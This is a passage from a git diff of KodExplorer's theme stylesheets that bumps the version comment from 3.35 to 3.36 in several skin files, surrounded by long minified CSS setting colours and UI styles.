.tabs .edit_changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 3.35(2016-12-23) [build 1482476940.9027] */ \ No newline at end of file +/* ver 3.36(2016-12-30) [build 1483112854.0323] */ \ No newline at end of file diff --git a/static/style/skin/metro_green.css b/static/style/skin/metro_green.css index 57299b7..b9b2834 100755 --- a/static/style/skin/metro_green.css +++ b/static/style/skin/metro_green.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476940.9298] */ +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112854.0635] */ body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#0EA460;color:#fff;}body#page_desktop .topbar{background-color:rgba(14,164,96,0.5);}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(14,164,96,0.3);}body .topbar{background:#0EA460;}body .topbar .content .topbar_menu{border-color:#0fb268;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this,body .topbar .content .top_right ul a.this{background:#11c573;border-color:#11c573;}body .aui_outer{*border:1px solid #0EA460;border:1px solid #0EA460 \0/IE9;}body .aui_outer .aui_state_focus .aui_title,body .aui_outer .aui_title{background:#0EA460;}body .aui_outer .aui_buttons button.aui_state_highlight{background:#0EA460;}body .aui_outer .aui_buttons button.aui_state_highlight:hover{background:#10bb6e;}body .aui_outer .aui_buttons button.aui_state_highlight:active{background:#14ea89;}body .aui_outer .aui_min:hover,body .aui_outer .aui_max:hover{background:#12d37c;}body .aui_outer .aui_min:active,body .aui_outer .aui_max:active{background:#14ea89;}body div.dialog-simple .aui_title{border-radius:0;}body #selContainer{border:1px solid #02170d;background-color:#0EA460;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#0EA460;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{color:#3ec3ff !important;}body .file_select{background:#0EA460;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file_select .children_open i.font_icon{color:#fff;}body .file_hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.file2{background:none;}body div.fileContiner.fileList_list_split .file.select_split_parent{background:#e3f0ff;}body div.fileContiner.fileList_list_split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent{background:#0EA460;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file2{background:#fff8e8;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{background:#0EA460;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select .children_open i.font_icon,body div.fileContiner .file.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{background:#0EA460;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.hover.select .children_open i.font_icon,body div.fileContiner .file.hover.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.select.file2,body div.fileContiner .file.selectDragTemp.file2{background:#0EA460;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select.file2 .children_open i.font_icon,body div.fileContiner .file.selectDragTemp.file2 .children_open i.font_icon{color:#fff;}body div.fileContiner.fileList_list_split .file.select,body div.fileContiner.fileList_list_split .file.selectDragTemp,body div.fileContiner.fileList_list .file.select,body div.fileContiner.fileList_list .file.selectDragTemp{border-bottom:1px solid #10bb6e !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#0c8d52;}body #body .menu_left,body #body .app_menu_left{background:#0c8d52;}body #body .menu_left h1,body #body .app_menu_left h1{color:#fff;font-weight:400;}body #body .menu_left .setting a,body #body .app_menu_left .setting a{color:#fff;}body #body .menu_left .setting a:hover,body #body .app_menu_left .setting a:hover{background:#0fb268;}body #body .menu_left .setting a.selected,body #body .app_menu_left .setting a.selected{background:#10bb6e;border-color:#fff;color:#fff;}body #body .main .list{border-radius:0;}body #body .main .nav a:hover,body #body .main .nav a.this{background:#0EA460;border:1px solid #0EA460;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab .tabs .edit_changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 3.35(2016-12-23) [build 1482476940.9298] */ \ No newline at end of file +/* ver 3.36(2016-12-30) [build 1483112854.0635] */ \ No newline at end of file diff --git a/static/style/skin/metro_orange.css b/static/style/skin/metro_orange.css index 7055bab..5de7de4 100755 --- a/static/style/skin/metro_orange.css +++ b/static/style/skin/metro_orange.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476941.0322] */ +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112854.1666] */ body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#FF8F32;color:#fff;}body#page_desktop .topbar{background-color:rgba(255,143,50,0.5);}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(255,143,50,0.3);}body .topbar{background:#FF8F32;}body .topbar .content .topbar_menu{border-color:#ff9741;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this,body .topbar .content .top_right ul a.this{background:#ffa356;border-color:#ffa356;}body .aui_outer{*border:1px solid #FF8F32;border:1px solid #FF8F32 \0/IE9;}body .aui_outer .aui_state_focus .aui_title,body .aui_outer .aui_title{background:#FF8F32;}body .aui_outer .aui_buttons button.aui_state_highlight{background:#FF8F32;}body .aui_outer .aui_buttons button.aui_state_highlight:hover{background:#ff9d4c;}body .aui_outer .aui_buttons button.aui_state_highlight:active{background:#ffb97f;}body .aui_outer .aui_min:hover,body .aui_outer .aui_max:hover{background:#ffab65;}body .aui_outer .aui_min:active,body .aui_outer .aui_max:active{background:#ffb97f;}body div.dialog-simple .aui_title{border-radius:0;}body #selContainer{border:1px solid #984500;background-color:#FF8F32;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{color:#3ec3ff !important;}body .file_select{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file_select .children_open i.font_icon{color:#fff;}body .file_hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.file2{background:none;}body div.fileContiner.fileList_list_split .file.select_split_parent{background:#e3f0ff;}body div.fileContiner.fileList_list_split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file2{background:#fff8e8;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select .children_open i.font_icon,body div.fileContiner .file.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.hover.select .children_open i.font_icon,body div.fileContiner .file.hover.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.select.file2,body div.fileContiner .file.selectDragTemp.file2{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select.file2 .children_open i.font_icon,body div.fileContiner .file.selectDragTemp.file2 .children_open i.font_icon{color:#fff;}body div.fileContiner.fileList_list_split .file.select,body div.fileContiner.fileList_list_split .file.selectDragTemp,body div.fileContiner.fileList_list .file.select,body div.fileContiner.fileList_list .file.selectDragTemp{border-bottom:1px solid #ff9d4c !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#ff8119;}body #body .menu_left,body #body .app_menu_left{background:#ff8119;}body #body .menu_left h1,body #body .app_menu_left h1{color:#fff;font-weight:400;}body #body .menu_left .setting a,body #body .app_menu_left .setting a{color:#fff;}body #body .menu_left .setting a:hover,body #body .app_menu_left .setting a:hover{background:#ff9741;}body #body .menu_left .setting a.selected,body #body .app_menu_left .setting a.selected{background:#ff9d4c;border-color:#fff;color:#fff;}body #body .main .list{border-radius:0;}body #body .main .nav a:hover,body #body .main .nav a.this{background:#FF8F32;border:1px solid #FF8F32;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab .tabs .edit_changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 3.35(2016-12-23) [build 1482476941.0322] */ \ No newline at end of file +/* ver 3.36(2016-12-30) [build 1483112854.1666] */ \ No newline at end of file diff --git a/static/style/skin/metro_pink.css b/static/style/skin/metro_pink.css index 3476f0e..814e998 100755 --- a/static/style/skin/metro_pink.css +++ b/static/style/skin/metro_pink.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476940.9876] */ +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112854.1273] */ body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#DC4FAD;color:#fff;}body#page_desktop .topbar{background-color:rgba(220,79,173,0.5);}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(220,79,173,0.3);}body .topbar{background:#DC4FAD;}body .topbar .content .topbar_menu{border-color:#df5cb3;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this,body .topbar .content .top_right ul a.this{background:#e26dbb;border-color:#e26dbb;}body .aui_outer{*border:1px solid #DC4FAD;border:1px solid #DC4FAD \0/IE9;}body .aui_outer .aui_state_focus .aui_title,body .aui_outer .aui_title{background:#DC4FAD;}body .aui_outer .aui_buttons button.aui_state_highlight{background:#DC4FAD;}body .aui_outer .aui_buttons button.aui_state_highlight:hover{background:#e064b7;}body .aui_outer .aui_buttons button.aui_state_highlight:active{background:#e98fcb;}body .aui_outer .aui_min:hover,body .aui_outer .aui_max:hover{background:#e47ac1;}body .aui_outer .aui_min:active,body .aui_outer .aui_max:active{background:#e98fcb;}body div.dialog-simple .aui_title{border-radius:0;}body #selContainer{border:1px solid #7a1859;background-color:#DC4FAD;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{color:#3ec3ff !important;}body .file_select{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file_select .children_open i.font_icon{color:#fff;}body .file_hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.file2{background:none;}body div.fileContiner.fileList_list_split .file.select_split_parent{background:#e3f0ff;}body div.fileContiner.fileList_list_split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file2{background:#fff8e8;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select .children_open i.font_icon,body div.fileContiner .file.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.hover.select .children_open i.font_icon,body div.fileContiner .file.hover.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.select.file2,body div.fileContiner .file.selectDragTemp.file2{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select.file2 .children_open i.font_icon,body div.fileContiner .file.selectDragTemp.file2 .children_open i.font_icon{color:#fff;}body div.fileContiner.fileList_list_split .file.select,body div.fileContiner.fileList_list_split .file.selectDragTemp,body div.fileContiner.fileList_list .file.select,body div.fileContiner.fileList_list .file.selectDragTemp{border-bottom:1px solid #e064b7 !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#d83aa3;}body #body .menu_left,body #body .app_menu_left{background:#d83aa3;}body #body .menu_left h1,body #body .app_menu_left h1{color:#fff;font-weight:400;}body #body .menu_left .setting a,body #body .app_menu_left .setting a{color:#fff;}body #body .menu_left .setting a:hover,body #body .app_menu_left .setting a:hover{background:#df5cb3;}body #body .menu_left .setting a.selected,body #body .app_menu_left .setting a.selected{background:#e064b7;border-color:#fff;color:#fff;}body #body .main .list{border-radius:0;}body #body .main .nav a:hover,body #body .main .nav a.this{background:#DC4FAD;border:1px solid #DC4FAD;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab .tabs .edit_changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 3.35(2016-12-23) [build 1482476940.9876] */ \ No newline at end of file +/* ver 3.36(2016-12-30) [build 1483112854.1274] */ \ No newline at end of file diff --git a/static/style/skin/metro_purple.css b/static/style/skin/metro_purple.css index 3fafc9c..db5750d 100755 --- a/static/style/skin/metro_purple.css +++ b/static/style/skin/metro_purple.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476940.9583] */ +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112854.0953] */ body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#8D3CC4;color:#fff;}body#page_desktop .topbar{background-color:rgba(141,60,196,0.5);}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(141,60,196,0.3);}body .topbar{background:#8D3CC4;}body .topbar .content .topbar_menu{border-color:#9448c8;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this,body .topbar .content .top_right ul a.this{background:#9d57cc;border-color:#9d57cc;}body .aui_outer{*border:1px solid #8D3CC4;border:1px solid #8D3CC4 \0/IE9;}body .aui_outer .aui_state_focus .aui_title,body .aui_outer .aui_title{background:#8D3CC4;}body .aui_outer .aui_buttons button.aui_state_highlight{background:#8D3CC4;}body .aui_outer .aui_buttons button.aui_state_highlight:hover{background:#9850ca;}body .aui_outer .aui_buttons button.aui_state_highlight:active{background:#af77d6;}body .aui_outer .aui_min:hover,body .aui_outer .aui_max:hover{background:#a463d0;}body .aui_outer .aui_min:active,body .aui_outer .aui_max:active{background:#af77d6;}body div.dialog-simple .aui_title{border-radius:0;}body #selContainer{border:1px solid #39184f;background-color:#8D3CC4;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{color:#3ec3ff !important;}body .file_select{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file_select .children_open i.font_icon{color:#fff;}body .file_hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.file2{background:none;}body div.fileContiner.fileList_list_split .file.select_split_parent{background:#e3f0ff;}body div.fileContiner.fileList_list_split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file2{background:#fff8e8;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select .children_open i.font_icon,body div.fileContiner .file.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.hover.select .children_open i.font_icon,body div.fileContiner .file.hover.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.select.file2,body div.fileContiner .file.selectDragTemp.file2{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select.file2 .children_open i.font_icon,body div.fileContiner .file.selectDragTemp.file2 .children_open i.font_icon{color:#fff;}body div.fileContiner.fileList_list_split .file.select,body div.fileContiner.fileList_list_split .file.selectDragTemp,body div.fileContiner.fileList_list .file.select,body div.fileContiner.fileList_list .file.selectDragTemp{border-bottom:1px solid #9850ca !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#7f36b1;}body #body .menu_left,body #body .app_menu_left{background:#7f36b1;}body #body .menu_left h1,body #body .app_menu_left h1{color:#fff;font-weight:400;}body #body .menu_left .setting a,body #body .app_menu_left .setting a{color:#fff;}body #body .menu_left .setting a:hover,body #body .app_menu_left .setting a:hover{background:#9448c8;}body #body .menu_left .setting a.selected,body #body .app_menu_left .setting a.selected{background:#9850ca;border-color:#fff;color:#fff;}body #body .main .list{border-radius:0;}body #body .main .nav a:hover,body #body .main .nav a.this{background:#8D3CC4;border:1px solid #8D3CC4;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab .tabs .edit_changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 3.35(2016-12-23) [build 1482476940.9583] */ \ No newline at end of file +/* ver 3.36(2016-12-30) [build 1483112854.0953] */ \ No newline at end of file diff --git a/static/style/skin/win10.css b/static/style/skin/win10.css index c9518bf..2428597 100755 --- a/static/style/skin/win10.css +++ b/static/style/skin/win10.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476940.8316] */ +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112853.9604] */ body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .x-folder{background-image:url("../../images/file_icon/icon_others/folder_win10.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10.png',sizingMethod='scale');}body .x-folder.small{background-image:url("../../images/file_icon/icon_others/folder_win10_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10_small.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10_small.png',sizingMethod='scale');height:18px !important;width:18px !important;}body .btn.btn-default{border-radius:0px;background:#fff;border-color:#ddd;}body .btn.btn-default:focus,body .btn.btn-default:hover{background-color:#e4f8ff;border-color:#aedaff;}body .btn.btn-default:active,body .btn.btn-default.active{color:#365f80;background-color:#e4f8ff;border-color:#93cfff;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#eee;color:#444;}body .topbar{background:#fff;}body .topbar .content{border-bottom:1px solid #eee;}body .topbar .content .topbar_menu{border-color:#eee;color:#666;}body .topbar .content .share_title,body .topbar .content .share_info,body .topbar .content .share_info .time{color:#666;}body .topbar .content .top_right div.share_info_user{color:#666;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this,body .topbar .content .top_right ul a.this{background:#eee;border-color:#eee;color:#666;}body .aui_outer{box-shadow:0px 5px 10px rgba(0,0,0,0.2);border:1px solid #bbb;border-color:rgba(0,0,0,0.2);}body .aui_outer .aui_title{background:#fff;color:#666;border-bottom:1px solid #f1f1f1;}body .aui_outer .aui_title{border-bottom:none;}body .aui_outer .aui_buttons{border-top:solid 1px #eee;background:#f8f8f8;}body .aui_outer .aui_buttons button{padding:1px 1.5em;border:1px solid #ccc;color:#222;background:#eee;}body .aui_outer .aui_buttons button:hover{background:#fbfbfb;}body .aui_outer .aui_buttons button:active{background:#e1e1e1;}body .aui_outer .aui_buttons button.aui_state_highlight{border-color:#96c7ff;box-shadow:0 0 2px #96c7ff;}body .aui_outer .aui_buttons button.aui_state_highlight:hover{color:#111;}body .aui_outer .aui_buttons button.aui_state_highlight:active{color:#111;}body .aui_outer .aui_min{right:80px;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAEUlEQVQYV2NgGGbgP5F40AMAIN0J96UZJscAAAAASUVORK5CYII=");}body .aui_outer 